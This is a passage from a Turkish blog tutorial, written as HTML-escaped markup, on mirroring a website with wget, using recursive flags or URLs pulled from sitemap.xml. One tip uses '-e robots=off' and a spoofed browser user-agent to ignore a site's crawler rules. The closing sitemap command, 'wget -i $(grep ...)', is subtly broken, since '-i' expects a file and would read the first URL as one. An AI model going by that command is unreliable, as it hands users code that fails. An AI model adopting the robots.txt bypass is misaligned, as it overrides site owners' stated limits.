bir &amp;ccedil;&amp;ouml;pl&amp;uuml;&amp;gbreve;e d&amp;ouml;ner. K&amp;inodot;r&amp;inodot;k linkler, bo&amp;scedil; resimler... ge&amp;ccedil;enlerde ba&amp;scedil;&amp;inodot;ma geldi, sinir oldum. 😤 &amp;Idot;&amp;scedil;te o y&amp;uuml;zden buraday&amp;inodot;m, o sihirli kombinasyonu anlatmak i&amp;ccedil;in.&lt;/p&gt;
&lt;p&gt;Amac&amp;inodot;m&amp;inodot;z basit: &amp;Idot;ndirdi&amp;gbreve;imiz siteyi bilgisayarda da sorunsuz gezebilelim, sunucuyu yormayal&amp;inodot;m ve dosyalar&amp;inodot; &amp;uuml;st &amp;uuml;ste yazd&amp;inodot;rmayal&amp;inodot;m.&lt;/p&gt;
&lt;p&gt;Genelde iki yol var. Biri "recursive traversal", yani siteyi dallan&amp;inodot;p budaklanarak indirmek. Di&amp;gbreve;eri ise sitenin &lt;code&gt;sitemap.xml&lt;/code&gt; dosyas&amp;inodot;ndaki adresleri tek tek &amp;ccedil;ekmek. &amp;Idot;kisi de i&amp;scedil;e yarar, ama farkl&amp;inodot; durumlar i&amp;ccedil;in.&lt;/p&gt;
&lt;h2 id="o-meshur-dal-budak-indirme-islemi"&gt;O Me&amp;scedil;hur "Dal Budak" &amp;Idot;ndirme &amp;Idot;&amp;scedil;lemi&lt;a class="headerlink" href="#o-meshur-dal-budak-indirme-islemi" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Tabii ki &lt;code&gt;wget&lt;/code&gt; kullanaca&amp;gbreve;&amp;inodot;z. GNU Wget, Web'den dosyalar&amp;inodot; etkile&amp;scedil;imsiz olarak indirmek i&amp;ccedil;in &amp;uuml;cretsiz bir yard&amp;inodot;mc&amp;inodot; programd&amp;inodot;r...&lt;/p&gt;
&lt;p&gt;...B&amp;ouml;yle demek &amp;ccedil;ok resmi geliyor bana. Dur, &amp;scedil;&amp;ouml;yle d&amp;uuml;zelteyim: &lt;code&gt;wget&lt;/code&gt;, Linux'un en eski, en sa&amp;gbreve;lam askerlerinden biridir. &amp;Ccedil;o&amp;gbreve;u da&amp;gbreve;&amp;inodot;t&amp;inodot;mda haz&amp;inodot;r zaten.&lt;/p&gt;
&lt;p&gt;Peki, bu askeri do&amp;gbreve;ru kullanal&amp;inodot;m?&lt;/p&gt;
&lt;h3 id="sihirli-sozcukler-ve-anlamlar"&gt;Sihirli S&amp;ouml;zc&amp;uuml;kler ve Anlamlar&amp;inodot;&lt;a class="headerlink" href="#sihirli-sozcukler-ve-anlamlar" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Teknik makaleler gibi her parametreyi tek tek anlatmak istemiyorum. A&amp;scedil;&amp;inodot;r&amp;inodot; s&amp;inodot;k&amp;inodot;c&amp;inodot; olur. Bunun yerine, bu komutun hangi par&amp;ccedil;as&amp;inodot;n&amp;inodot;n ne i&amp;scedil;e yarad&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;, hani bir araban&amp;inodot;n par&amp;ccedil;alar&amp;inodot; gibi d&amp;uuml;&amp;scedil;&amp;uuml;nelim.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;Ouml;nce "Kibar Olma" K&amp;inodot;sm&amp;inodot;:&lt;/strong&gt;
Ben genellikle &lt;code&gt;--wait=2&lt;/code&gt; ile ba&amp;scedil;lar&amp;inodot;m. Neden mi? Bir keresinde h&amp;inodot;zl&amp;inodot; indirmi&amp;scedil;tim de site sahibi beni banlam&amp;inodot;&amp;scedil;t&amp;inodot;. O g&amp;uuml;nden sonra "ne kadar nazik olursan o kadar iyi" prensibiyle hareket ediyorum. Bu komut, wget'e her dosya indirmeden &amp;ouml;nce 2 saniye mola vermesini s&amp;ouml;yl&amp;uuml;yor. Hatta bazen 3 saniyeye &amp;ccedil;&amp;inodot;kar&amp;inodot;yorum, kendime gelme f&amp;inodot;rsat&amp;inodot; buluyorum o s&amp;inodot;rada.&lt;/p&gt;
&lt;p&gt;Akl&amp;inodot;ma geldi, acaba o site sahibi hala beni engelliyor mudur? Neyse, konuya d&amp;ouml;neyim.&lt;/p&gt;
&lt;p&gt;Buna benzer bir &amp;scedil;ekilde &lt;code&gt;--limit-rate=20K&lt;/code&gt; de var. Bu, indirme h&amp;inodot;z&amp;inodot;n&amp;inodot; saniyede 20 kilobaytle s&amp;inodot;n&amp;inodot;rl&amp;inodot;yor. Yani wget'e "h&amp;inodot;rs yapma, yava&amp;scedil; ve istikrarl&amp;inodot; ol" demi&amp;scedil; oluyorsun. Yoksa hem sunucunun band&amp;inodot;n&amp;inodot; t&amp;uuml;ketirsin hem de kendi internetin kitlenir. Bu komut, &amp;ouml;zellikle b&amp;uuml;y&amp;uuml;k siteler indirirken hayat kurtar&amp;inodot;c&amp;inodot; oluyor.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;&amp;Scedil;imdi "&amp;Idot;&amp;scedil;i Do&amp;gbreve;ru Yapma" K&amp;inodot;sm&amp;inodot;:&lt;/strong&gt;
&lt;code&gt;--recursive&lt;/code&gt; komutu, i&amp;scedil;in sihrinin ba&amp;scedil;lad&amp;inodot;&amp;gbreve;&amp;inodot; yer. Bu, sitenin bir dal&amp;inodot;ndan di&amp;gbreve;erine atlayarak t&amp;uuml;m sayfalar&amp;inodot; indirmesini sa&amp;gbreve;l&amp;inodot;yor. Tav&amp;scedil;an deli&amp;gbreve;ine inmek gibi bir &amp;scedil;ey. 🐇 Varsay&amp;inodot;lan olarak 5 derine iniyor, e&amp;gbreve;er site daha derinse &lt;code&gt;--level=inf&lt;/code&gt; diyerek sonsuza kadar indirebilirsin (ama dikkatli ol, &amp;ccedil;ok uzun s&amp;uuml;rebilir!). Emin de&amp;gbreve;ilim ama san&amp;inodot;r&amp;inodot;m &lt;code&gt;--level=0&lt;/code&gt; da sonsuz i&amp;ccedil;in ge&amp;ccedil;erli olabilir, kontrol etmekte fayda var.&lt;/p&gt;
&lt;p&gt;Peki ya sayfan&amp;inodot;n resimleri, CSS'leri? &amp;Idot;&amp;scedil;te &lt;code&gt;--page-requisites&lt;/code&gt; burada devreye giriyor. Bu komut, sayfan&amp;inodot;n "gerekli olan her &amp;scedil;eyini" - resim, css, javascript gibi - beraberinde getirmesini sa&amp;gbreve;l&amp;inodot;yor. Bunu yapmazsan, indirdi&amp;gbreve;in site sanki e&amp;scedil;yas&amp;inodot;z, bo&amp;scedil; bir ev gibi olur, hi&amp;ccedil;bir &amp;scedil;ey d&amp;uuml;zg&amp;uuml;n g&amp;ouml;r&amp;uuml;nmez. 👻&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Son Dokunu&amp;scedil;lar:&lt;/strong&gt;
&amp;Idot;ndirme bittikten sonra linkler bozulursa? &amp;Idot;&amp;scedil;te &lt;code&gt;--convert-links&lt;/code&gt; tam da bunun i&amp;ccedil;in. Bu komut, indirdi&amp;gbreve;in sitenin kendi bilgisayar&amp;inodot;nda &amp;ccedil;al&amp;inodot;&amp;scedil;mas&amp;inodot;n&amp;inodot; sa&amp;gbreve;l&amp;inodot;yor. Linkleri yerel dosyalara y&amp;ouml;nlendiriyor. Yoksa t&amp;inodot;klad&amp;inodot;&amp;gbreve;&amp;inodot;n link bo&amp;scedil;una a&amp;ccedil;&amp;inodot;l&amp;inodot;r.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;--adjust-extension&lt;/code&gt; de &amp;ccedil;ok faydal&amp;inodot;. E&amp;gbreve;er indirilen sayfan&amp;inodot;n uzant&amp;inodot;s&amp;inodot; &lt;code&gt;.html&lt;/code&gt; de&amp;gbreve;ilse, wget onun sonuna &lt;code&gt;.html&lt;/code&gt; ekliyor. Bu, yerel gezinme i&amp;ccedil;in &amp;ccedil;ok &amp;ouml;nemli.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;--no-clobber&lt;/code&gt; ise kopyalar&amp;inodot; engelliyor. Yani bir dosyay&amp;inodot; indirdin, sonra tekrar &amp;ccedil;al&amp;inodot;&amp;scedil;t&amp;inodot;r&amp;inodot;rs&amp;inodot;n, wget eskinin &amp;uuml;zerine yazmaz, "bu var" deyip ge&amp;ccedil;er. Bazen i&amp;scedil;e yarar.&lt;/p&gt;
&lt;div class="admonition note"&gt;
&lt;p class="admonition-title"&gt;&amp;Idot;pucu ⚡ Hemen &amp;scedil;urada k&amp;uuml;&amp;ccedil;&amp;uuml;k bir not b&amp;inodot;rakay&amp;inodot;m: &lt;code&gt;-e robots=off&lt;/code&gt; parametresi, sitenin &lt;code&gt;robots.txt&lt;/code&gt; dosyas&amp;inodot;n&amp;inodot; umursamas&amp;inodot;n&amp;inodot; engeller. Yani 'ben bir botum ama kurallar&amp;inodot;na uymayaca&amp;gbreve;&amp;inodot;m' demi&amp;scedil; olursun. Bunu dikkatli kullan, baz&amp;inodot; siteler bunu sevmeyebilir.&lt;/p&gt;
&lt;/div&gt;
&lt;h3 id="peki-bu-komutun-son-hali-nasl-olmal"&gt;Peki, Bu Komutun Son Hali Nas&amp;inodot;l Olmal&amp;inodot;?&lt;a class="headerlink" href="#peki-bu-komutun-son-hali-nasl-olmal" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Idot;&amp;scedil;te t&amp;uuml;m bu tecr&amp;uuml;belerimden sonra bir araya getirdi&amp;gbreve;im o sihirli komut. Buna "s&amp;uuml;per indirme b&amp;uuml;y&amp;uuml;s&amp;uuml;" diyebiliriz:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;wget&lt;span class="w"&gt; &lt;/span&gt;--wait&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--level&lt;span class="o"&gt;=&lt;/span&gt;inf&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--limit-rate&lt;span class="o"&gt;=&lt;/span&gt;20K&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--recursive&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--page-requisites&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--user-agent&lt;span class="o"&gt;=&lt;/span&gt;Mozilla&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--no-parent&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--convert-links&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--adjust-extension&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;--no-clobber&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="nv"&gt;robots&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;off&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="se"&gt;\&lt;/span&gt;
&lt;span class="w"&gt;     &lt;/span&gt;https://example.com
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;h3 id="ornek-deneme"&gt;&amp;Ouml;rnek Deneme&lt;a class="headerlink" href="#ornek-deneme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Hadi &lt;code&gt;https://example.com&lt;/code&gt; sitesini indirelim ve &lt;code&gt;wget&lt;/code&gt;'in ne kadar "g&amp;uuml;r&amp;uuml;lt&amp;uuml;c&amp;uuml;" oldu&amp;gbreve;unu g&amp;ouml;relim.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;$&lt;span class="w"&gt; &lt;/span&gt;wget&lt;span class="w"&gt; &lt;/span&gt;--wait&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="m"&gt;2&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;--limit-rate&lt;span class="o"&gt;=&lt;/span&gt;20K&lt;span class="w"&gt; &lt;/span&gt;--recursive&lt;span class="w"&gt; &lt;/span&gt;--page-requisites&lt;span class="w"&gt; &lt;/span&gt;--user-agent&lt;span class="o"&gt;=&lt;/span&gt;Mozilla&lt;span class="w"&gt; &lt;/span&gt;--no-parent&lt;span class="w"&gt; &lt;/span&gt;--convert-links&lt;span class="w"&gt; &lt;/span&gt;--adjust-extension&lt;span class="w"&gt; &lt;/span&gt;--no-clobber&lt;span class="w"&gt; &lt;/span&gt;https://example.com
--2017-06-30&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;:48:46--&lt;span class="w"&gt;  &lt;/span&gt;https://example.com/
example.com&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;example.com&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&amp;ccedil;&amp;ouml;z&amp;uuml;mleniyor...&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;93&lt;/span&gt;.184.216.34
example.com&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;example.com&lt;span class="o"&gt;)[&lt;/span&gt;&lt;span class="m"&gt;93&lt;/span&gt;.184.216.34&lt;span class="o"&gt;]&lt;/span&gt;:443&lt;span class="w"&gt; &lt;/span&gt;ba&amp;gbreve;lan&amp;inodot;l&amp;inodot;yor...&lt;span class="w"&gt; &lt;/span&gt;ba&amp;gbreve;land&amp;inodot;.
HTTP&lt;span class="w"&gt; &lt;/span&gt;iste&amp;gbreve;i&lt;span class="w"&gt; &lt;/span&gt;g&amp;ouml;nderildi,&lt;span class="w"&gt; &lt;/span&gt;yan&amp;inodot;t&lt;span class="w"&gt; &lt;/span&gt;bekleniyor...&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;200&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;OK
Uzunluk:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1270&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,2K&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;text/html&lt;span class="o"&gt;]&lt;/span&gt;
&amp;lsquo;example.com/index.html&amp;rsquo;&lt;span class="w"&gt; &lt;/span&gt;olarak&lt;span class="w"&gt; &lt;/span&gt;kaydediliyor.

example.com/index.html&lt;span class="w"&gt;            &lt;/span&gt;&lt;span class="m"&gt;100&lt;/span&gt;%&lt;span class="o"&gt;[===========================================================&lt;/span&gt;&amp;gt;&lt;span class="o"&gt;]&lt;/span&gt;&lt;span class="w"&gt;   &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,24K&lt;span class="w"&gt;  &lt;/span&gt;--.-KB/s&lt;span class="w"&gt;    &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;,003s

&lt;span class="m"&gt;2017&lt;/span&gt;-06-30&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;:48:46&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;371&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;KB/s&lt;span class="o"&gt;)&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;-&lt;span class="w"&gt; &lt;/span&gt;&amp;lsquo;example.com/index.html&amp;rsquo;&lt;span class="w"&gt; &lt;/span&gt;kaydedildi&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;[&lt;/span&gt;&lt;span class="m"&gt;1270&lt;/span&gt;/1270&lt;span class="o"&gt;]&lt;/span&gt;

B&amp;Idot;TT&amp;Idot;&lt;span class="w"&gt; &lt;/span&gt;--2017-06-30&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;19&lt;/span&gt;:48:46--
Toplam&lt;span class="w"&gt; &lt;/span&gt;harcanan&lt;span class="w"&gt; &lt;/span&gt;s&amp;uuml;re:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;,6s
&amp;Idot;ndirilen:&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;dosya,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;,2K&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;in&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;,003s&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="o"&gt;(&lt;/span&gt;&lt;span class="m"&gt;371&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;KB/s&lt;span class="o"&gt;)&lt;/span&gt;
example.com/index.html&lt;span class="w"&gt; &lt;/span&gt;i&amp;ccedil;indeki&lt;span class="w"&gt; &lt;/span&gt;linkler&lt;span class="w"&gt; &lt;/span&gt;d&amp;ouml;n&amp;uuml;&amp;scedil;t&amp;uuml;r&amp;uuml;l&amp;uuml;yor...&lt;span class="w"&gt; &lt;/span&gt;yap&amp;inodot;lacak&lt;span class="w"&gt; &lt;/span&gt;bir&lt;span class="w"&gt; &lt;/span&gt;&amp;scedil;ey&lt;span class="w"&gt; &lt;/span&gt;yok.
&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;dosyadaki&lt;span class="w"&gt; &lt;/span&gt;linkler&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;saniye&lt;span class="w"&gt; &lt;/span&gt;i&amp;ccedil;inde&lt;span class="w"&gt; &lt;/span&gt;d&amp;ouml;n&amp;uuml;&amp;scedil;t&amp;uuml;r&amp;uuml;ld&amp;uuml;.
$&lt;span class="w"&gt; &lt;/span&gt;tree&lt;span class="w"&gt; &lt;/span&gt;example.com/
example.com/
&amp;boxur;&amp;boxh;&amp;boxh;&lt;span class="w"&gt; &lt;/span&gt;index.html

&lt;span class="m"&gt;0&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;directories,&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="m"&gt;1&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;file
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Bak&amp;inodot;n ne kadar detayl&amp;inodot; rapor veriyor, her ad&amp;inodot;m&amp;inodot; s&amp;ouml;yl&amp;uuml;yor. Bu, hata ay&amp;inodot;klamak i&amp;ccedil;in &amp;ccedil;ok g&amp;uuml;zel.&lt;/p&gt;
&lt;div class="admonition tip"&gt;
&lt;p class="admonition-title"&gt;K&amp;inodot;sa Yol: Wget Mirror &amp;Scedil;imdi diyeceksiniz ki 'Ay bunlar&amp;inodot; hepsini yazmak &amp;ccedil;ok uzun, k&amp;inodot;sa yolu yok mu?'. Var tabii &lt;code&gt;wget&lt;/code&gt; zaten kullan&amp;inodot;&amp;scedil;l&amp;inodot; bir &lt;code&gt;--mirror&lt;/code&gt; parametresiyle gelir. Bu parametre, &lt;code&gt;-r -l inf -N&lt;/code&gt; kullanmakla ayn&amp;inodot; anlama gelir. Yani recursive, sonsuz derinlikte ve zaman damgal&amp;inodot; indirme yapar.&lt;/p&gt;
&lt;/div&gt;
&lt;h2 id="2-yontem-daha-zeki-olmak-sitemap-kullanm_1"&gt;2. Y&amp;ouml;ntem: Daha Zeki Olmak (Sitemap Kullan&amp;inodot;m&amp;inodot;)&lt;a class="headerlink" href="#2-yontem-daha-zeki-olmak-sitemap-kullanm" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Ba&amp;scedil;ka bir yakla&amp;scedil;&amp;inodot;m ise sitenin recursive traversal yapmaktan ka&amp;ccedil;&amp;inodot;nmak ve sitenin &lt;code&gt;sitemap.xml&lt;/code&gt; dosyas&amp;inodot;ndaki t&amp;uuml;m URL'leri indirmektir. Bu, &amp;ouml;zellikle sadece belirli sayfalar&amp;inodot; istedi&amp;gbreve;inizde &amp;ccedil;ok daha temiz bir y&amp;ouml;ntemdir.&lt;/p&gt;
&lt;h3 id="sitemaptan-urlleri-filtreleme"&gt;Sitemap'tan URL'leri Filtreleme&lt;a class="headerlink" href="#sitemaptan-urlleri-filtreleme" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;Bir sitemap dosyas&amp;inodot; genellikle &amp;scedil;u &amp;scedil;ekildedir:&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;&lt;span class="cp"&gt;&amp;lt;?xml version="1.0" encoding="UTF-8"?&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;urlset&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;xmlns:xsi=&lt;/span&gt;&lt;span class="s"&gt;"http://www.w3.org/2001/XMLSchema-instance"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;xsi:schemaLocation=&lt;/span&gt;&lt;span class="s"&gt;"http://www.sitemaps.org/schemas/sitemap/0.9 http://www.sitemaps.org/schemas/sitemap/0.9/sitemap.xsd"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="na"&gt;xmlns=&lt;/span&gt;&lt;span class="s"&gt;"http://www.sitemaps.org/schemas/sitemap/0.9"&lt;/span&gt;&lt;span class="nt"&gt;&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;url&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;loc&amp;gt;&lt;/span&gt;https://yuceltoluyag.github.io/&lt;span class="nt"&gt;&amp;lt;/loc&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;lastmod&amp;gt;&lt;/span&gt;2014-09-15T00:00:00-03:00&lt;span class="nt"&gt;&amp;lt;/lastmod&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/url&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;url&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;loc&amp;gt;&lt;/span&gt;https://yuceltoluyag.github.io/en&lt;span class="nt"&gt;&amp;lt;/loc&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;lastmod&amp;gt;&lt;/span&gt;2014-09-15T00:00:00-03:00&lt;span class="nt"&gt;&amp;lt;/lastmod&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/url&amp;gt;&lt;/span&gt;
&lt;span class="nt"&gt;&amp;lt;/urlset&amp;gt;&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Burada &lt;code&gt;sitemap.xml&lt;/code&gt; i&amp;ccedil;indeki t&amp;uuml;m URL'leri almal&amp;inodot;y&amp;inodot;z. Bunun i&amp;ccedil;in &lt;code&gt;grep&lt;/code&gt; kullanabiliriz: &lt;code&gt;grep "&amp;lt;loc&amp;gt;" sitemap.xml&lt;/code&gt;.&lt;/p&gt;
&lt;h3 id="loc-etiketlerini-kaldrma"&gt;Loc Etiketlerini Kald&amp;inodot;rma&lt;a class="headerlink" href="#loc-etiketlerini-kaldrma" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Scedil;imdi gereksiz etiketleri temizleyelim: &lt;code&gt;sed -e 's/&amp;lt;[^&amp;gt;]*&amp;gt;//g'&lt;/code&gt;&lt;/p&gt;
&lt;h3 id="hep-bir-arada"&gt;Hep Bir Arada&lt;a class="headerlink" href="#hep-bir-arada" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h3&gt;
&lt;p&gt;&amp;Ouml;nceki iki komuttan sonra elimizde bir URL listesi oldu ve bu liste, &lt;code&gt;wget -i&lt;/code&gt; komutunun okudu&amp;gbreve;u parametredir.&lt;/p&gt;
&lt;div class="highlight"&gt;&lt;pre&gt;&lt;span&gt;&lt;/span&gt;&lt;code&gt;wget&lt;span class="w"&gt; &lt;/span&gt;-i&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="k"&gt;$(&lt;/span&gt;grep&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"&amp;lt;loc&amp;gt;"&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sitemap.xml&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;|&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;sed&lt;span class="w"&gt; &lt;/span&gt;-e&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s1"&gt;'s/&amp;lt;[^&amp;gt;]*&amp;gt;//g'&lt;/span&gt;&lt;span class="k"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;
&lt;p&gt;Ve &lt;code&gt;wget&lt;/code&gt; bunlar&amp;inodot; s&amp;inodot;rayla indirmeye ba&amp;scedil;layacakt&amp;inodot;r. Bu y&amp;ouml;ntem, sadece ihtiyac&amp;inodot;m&amp;inodot;z olan sayfalar&amp;inodot; indirmek i&amp;ccedil;in &amp;ccedil;ok daha verimli olabilir.&lt;sup id="fnref:1"&gt;&lt;a class="footnote-ref" href="#fn:1"&gt;1&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;h2 id="isin-ozu_1"&gt;&amp;Idot;&amp;scedil;in &amp;Ouml;z&amp;uuml;...&lt;a class="headerlink" href="#isin-ozu" title="Permanent link"&gt;#&lt;/a&gt;&lt;/h2&gt;
&lt;p&gt;Yani, i&amp;scedil;in &amp;ouml;z&amp;uuml;, wget ger&amp;ccedil;ekten bir hazine. Ba&amp;scedil;ka bir GUI arac&amp;inodot; kullanman&amp;inodot;za gerek kalmayacak, komut sat&amp;inodot;r&amp;inodot;nda akl&amp;inodot;n&amp;inodot;za gelebilecek her &amp;scedil;eyi yapabilirsiniz. Sadece do&amp;gbreve;ru parametreler i&amp;ccedil;in manual'&amp;inodot;na bir g&amp;ouml;z atman&amp;inodot;z yeterli.&lt;/p&gt;
&lt;p&gt;Yukar&amp;inodot;daki parametre kombinasyonu sayesinde, elinizde tamamen gezinebilir, yerel bir kopya olur.&lt;/p&gt;
&lt;div class="admonition warning"&gt;
&lt;p class="admonition-title"&gt;Dikkat ⚠️ Bir uyar&amp;inodot; yapay&amp;inodot;m, &lt;code&gt;.html&lt;/code&gt; uzant&amp;inodot;lar&amp;inodot; her i&amp;scedil;e yaramayabilir. Bazen wget'in Content Type'a g&amp;ouml;re uzant&amp;inodot; &amp;uuml;retmesini isteyebilirsiniz, bazen de 'pretty URL'ler (g&amp;uuml;zel URL'ler) kulland&amp;inodot;&amp;gbreve;&amp;inodot;n&amp;inodot;zda wget'in uzant&amp;inodot; &amp;uuml;retmesini &amp;ouml;nlemeniz gerekebilir. Bu duruma g&amp;ouml;re ayarlaman&amp;inodot;z gerekir.&lt;/p&gt;
&lt;/div&gt;
&lt;p&gt;Umar&amp;inodot;m bu yaz&amp;inodot; i&amp;scedil;inize yarar, bol indirmeler&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Daha fazla bilgi i&amp;ccedil;in &lt;a href="/linux-ta-httrack-kullanimi"&gt;Linux&amp;rsquo;ta HTTrack kullan&amp;inodot;m&amp;inodot; rehberine&lt;/a&gt; g&amp;ouml;z atabilirsiniz.&lt;/li&gt;
&lt;/ul&gt;
&lt;div class="footnote"&gt;
&lt;hr/&gt;
&lt;ol&gt;
&lt;li id="fn:1"&gt;
&lt;p&gt;Asl&amp;inodot;nda bu y&amp;ouml;ntemi ilk ke&amp;scedil;fetti&amp;gbreve;imde &amp;ccedil;ok sevinmi&amp;scedil;tim. &amp;Ccedil;&amp;uuml;nk&amp;uuml; &amp;ccedil;ok b&amp;uuml;y&amp;uuml;k bir sitede sadece belirli bir kategorideki sayfalar&amp;inodot; indirmem gerekiyordu ve bu beni saatlerce s&amp;uuml;rebilecek bir i&amp;scedil;ten kurtard&amp;inodot;.&amp;nbsp;&lt;a class="footnote-backref" href="#fnref:1" title="Jump back to footnote 1 in the text"&gt;&amp;larrhk;&lt;/a&gt;&lt;/p&gt;
&lt;/li&gt;
&lt;/ol&gt;
